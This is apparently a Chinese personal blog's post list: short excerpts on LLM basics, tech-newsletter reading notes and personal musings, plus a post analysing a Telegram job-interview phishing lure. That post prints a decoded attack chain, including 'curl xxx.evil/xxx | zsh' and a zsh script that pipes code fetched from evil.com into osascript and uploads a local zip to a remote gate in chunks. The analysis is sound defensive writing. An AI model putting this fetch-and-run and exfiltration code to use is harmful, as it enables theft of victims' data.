AI Agent 由浅入深

核心原理 大语言模型(LLM)的核心原理讲起来很简单:根据已有的文本,预测下一个 token 出现的概率,这里的 token 是模型处理文本的最小单位,可以简单理解 token 就是输入和输出的文本里的字词 比如你输入「今天天气」,模型会计算所有可能的下一个字的概率分布:「真」的概率 30%,「不」的概率 20%,「很」的概率 15%… 然后从中选一个输出。选完之后,把这个字拼到输入后面,继续预测下一个字,如此反复,就生成了一段完整的文本 所以 LLM 本质上就是一个概率模型,一个字一个字地往外蹦,由于 Transformer 架构的自回归设计,上一轮的输出作为下一轮的输入,所以也只能一个字一个字往外蹦,跟 ChatGPT 聊天时看到回答一个字一个字地出现,不是为了打字机效果,这就是它真实的生成方式 在 LLM 往外输出文本时,会先计算出一组 token 本身的出现概率,再根据几个参数对这些概率进行调整,再最终选择输出哪一个 token 有一个参数叫温度(temperature),控制模型选择 token 时的随机程度,就像热力学熵一样,越高越混乱 温度等于 1 的时候,模型选择 token 时的概率完全等于模型本身计算出的概率,没有任何缩放。温度越低,越会让本来概率高的更高,本来概率低的更低,缩放后的概率就越确定,信息熵越低;温度越高,缩放之后的概率就更随机,分布得更平坦,就更有可能选择到原本概率并不高的 token,输出变得更有创意 还有另一组参数叫做 top P 和 top K,其中 top P 用于配置保留将 token 按概率从高到低排序后前 n 个概率加起来超过 p 的 token 选项,其他的丢弃掉,而 top K 就直接用于保留概率最高的 k 个选项 可能光这样讲比较抽象,可以看看这个在线演示 现在很多比较新的推理模型已经不推荐再去调整这几个参数了,而是提供了更为直观的 Reasoning Effort 参数,用于配置模型的推理预算和思考深度 上下文 另一个重要的概念是上下文(Context) 模型在预测下一个 token 时,依据的就是当前上下文里的所有文本。你输入的问题、当前会话中的历史消息、系统给的背景设定,这些全部拼在一起就构成了上下文 模型本身是没有状态的,至少现在这些给大众使用的还没有,对于同一个模型,不引入随机性的情况下或者说温度设定为0的时候,对于同样的输入,输出几乎永远是一致的 举个例子,你跟 ChatGPT 聊天,第一句说「我叫小明」,然后聊了很多别的话题,最后突然问「我叫什么名字」,它能正确回答「你叫小明」,这不是因为它「记住」了你的名字,而是因为「我叫小明」这句话还在上下文窗口里。模型每次生成回答时,都是依据整个上下文的内容来预测下一个 token 的,所以表现出来是它「记住」了你的名字 ...

July 22, 2026 · 2 min · 🦉

科技爱好周刊 391 期阅读笔记

还真是,用了这么久,越觉得 AI 有其局限,最大问题还是上下文,以及架构层面的难以并行 这些问题未来肯定会解决,任何能写成 SOP 的最终都能让 AI 来处理 仍然担忧 Exactly,写作完全是为了促进思考,理清思路,这都让 AI 代劳,那就没有任何意义了

April 3, 2026 · 1 min · 🦉

见识 Tg 钓鱼

文中代码均已消毒处理 最近在看新的工作机会,遇到一个让加 tg 的,本来觉着没啥,也就在 tg 上沟通 越聊越觉得对面的文字不像是人打出来的,遣词造句的风格,难以言说 终于发来了面试链接,一点开就是个弹窗,要复制命令装驱动,一眼钓鱼 还是按耐不住好奇心,复制来看看,最基础的 echo | base64 -d | zsh 于是解码看看是啥 echo ‘The sound carder drver certificate is currently beinginstalledand updated. Please wait…’ & curl xxx.evil/xxx | zsh 好嘛,又下载了一个脚本,接着扒 又是个 base64 之后的压缩包解压再 eval 的脚本,继续解压看看 1#!/bin/zsh 2daemon_function() { 3 exec </dev/null 4 exec >/dev/null 5 exec 2>/dev/null 6 local domain="evil.com" 7 local token="xxxx" 8 local api_key="xx" 9 local file="/tmp/osalogging.zip" 10 if [ $# -gt 0 ]; then 11 curl -k -s --max-time 30 \ 12 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \ 13 -H "api-key: $api_key" \ 14 "http://$domain/dynamic?txd=$token&pwd=$1" | osascript 15 else 16 curl -k -s --max-time 30 \ 17 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \ 18 -H "api-key: $api_key" \ 19 "http://$domain/dynamic?txd=$token" | osascript 20 fi 21 if [ $? -ne 0 ]; then 22 exit 1 23 fi 24 if [[ ! -f "$file" || ! -s "$file" ]]; then 25 return 1 26 fi 27 local CHUNK_SIZE=$((10 * 1024 * 1024)) 28 local MAX_RETRIES=8 29 local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM) 30 local total_size 31 total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file") 32 if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then 33 return 1 34 fi 35 local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE )) 36 local i=0 37 while (( i < total_chunks )); do 38 local offset=$((i * CHUNK_SIZE)) 39 local chunk_size=$CHUNK_SIZE 40 (( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset)) 41 local success=0 42 local attempt=1 43 while (( attempt <= MAX_RETRIES && success == 0 )); do 44 http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \ 45 curl -k -s -X PUT \ 46 --data-binary @- \ 47 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \ 48 -H "api-key: $api_key" \ 49 --max-time 180 \ 50 -o /dev/null \ 51 -w "%{http_code}" \ 52 "http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null) 53 curl_status=$? 54 if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then 55 success=1 56 else 57 ((attempt++)) 58 sleep $((3 + attempt * 2)) 59 fi 60 done 61 if (( success == 0 )); then 62 return 1 63 fi 64 ((i++)) 65 done 66 rm -f "$file" 67 return 0 68} 69if daemon_function "$@" & then 70 exit 0 71else 72 exit 1 73fi 终于是个有点事做的脚本了,做的事情也很简单,下载恶意脚本交给 osascript 执行,再上传本地的 /tmp/osalogging.zip 包 ...

April 2, 2026 · 4 min · 🦉

科技爱好周刊 好几 期阅读笔记

383 期开头的文章很有意思,准备进入第八级 AI 编程了 没办法呀,为了提高生产力,不过仍然坚持 review 重要部分,以及经常让 AI 清理和重构 又或许对代码库本来就该一无所知呢,如果都能直接声明功能,代码怎么写还重要吗 最近确实一直在焦虑这个问题,如果所有事情都能由 AI 来完成,那人还需要擅长什么,那人的意义又是什么 这篇文章最吸引我的观点是 “外卖员是自带 API 的人群”,还真是这样,人类接入平台,平台提供 API,API 被 AI 调用,就完成了人为 AI 提供服务的流程,感觉这里大有可为啊 还真是,这些明明都是应该一早就做好的事情,现在 AI 爆火了大家才开始慢慢文明起来

March 9, 2026 · 1 min · 🦉

最近的生活

🤣 最近 AI 真是太狂热了,不管在哪里都是 AI 生活中各种 App 都推 AI 相关的功能,工作中公司也强调 AI 的重要性 很难想象不被 AI 替代居然是眼下最着急的事情,现在 Claude Code,Gemini 这些在工作中已经比人厉害太多 当然不是不愿意拥抱 AI,其实注意力机制真的是对大脑的超好建模,多头注意力还能理解同一个词语在不同层面的意思,真的就可以看作是一个电子大脑了,特别是知识储备还那么丰富 怎么用好 AI 当然会是以后的主流方向,作为一个普通人,也不知道该做些什么 Exactly,让我对着虚空呐喊吧,反正我一直喜欢这样 是呀,动作再不快点都要被 AI 替代掉了 AI 可不止蚕食 SaaS,AI 蚕食一切。

December 24, 2025 · 1 min · 🦉

科技爱好周刊 357 期阅读笔记

已经快全是 AI 相关的内容了 😅 这个倒是不意外,学习就是需要不断练习来建立神经突触的

July 18, 2025 · 1 min · 🦉

又幻想了

差点以为可以小赚一周的生活费 才发现自己已经到了连 switch case 里的 return 都看不见的地步

June 30, 2025 · 1 min · 🦉

科技爱好周刊 354 期阅读笔记

科技爱好周刊 354 期 天才,我居然都没想到过 相比于自己配代理直接拉,没法自动检查更新,还得加个 schedule 来自动拉取 latest 对于大陆服务器上最初部署需要拉一大堆镜像的场景,很适合 这些描述,越来越接近现实 能被 AI 轻松替代的技能已经完全不值得投入时间了 有很多可以思考的

June 28, 2025 · 1 min · 🦉

惊觉自己变成老油条

以前上班的态度都是:有什么问题,I can handle everything 现在:不是我做的,这个找谁谁,None of my business 这个应该算是成熟了,还是算老油条,不是很确定 还是搞自己的事情有意思呀,虽然也好久都没更新,每天的收入渐渐连一杯咖啡都买不上了 写博客不该是为了吐槽的,但是有时候真的就感觉,是被生活给骟了吧,做什么都没有劲 前几天看到朋友讨论,买了移动相机之类的,拍摄记录生活,很好奇他们的这股劲是哪里来的,他们也感叹我竟变得如此颓丧,竟没有些爱好,我也感叹 其实以前的我又喜欢过什么呢,真的有过任何爱好吗,好像啥都不喜欢,单方面坚定为玉玉了

June 23, 2025 · 1 min · 🦉

WWDC

果子这新的玻璃效果真是一言难尽啊,控制中心虚化搞得看都看不清了 iPadOS 向 macOS 靠拢确实还不错 希望 Intelligence 早点上吧

June 10, 2025 · 1 min · 🦉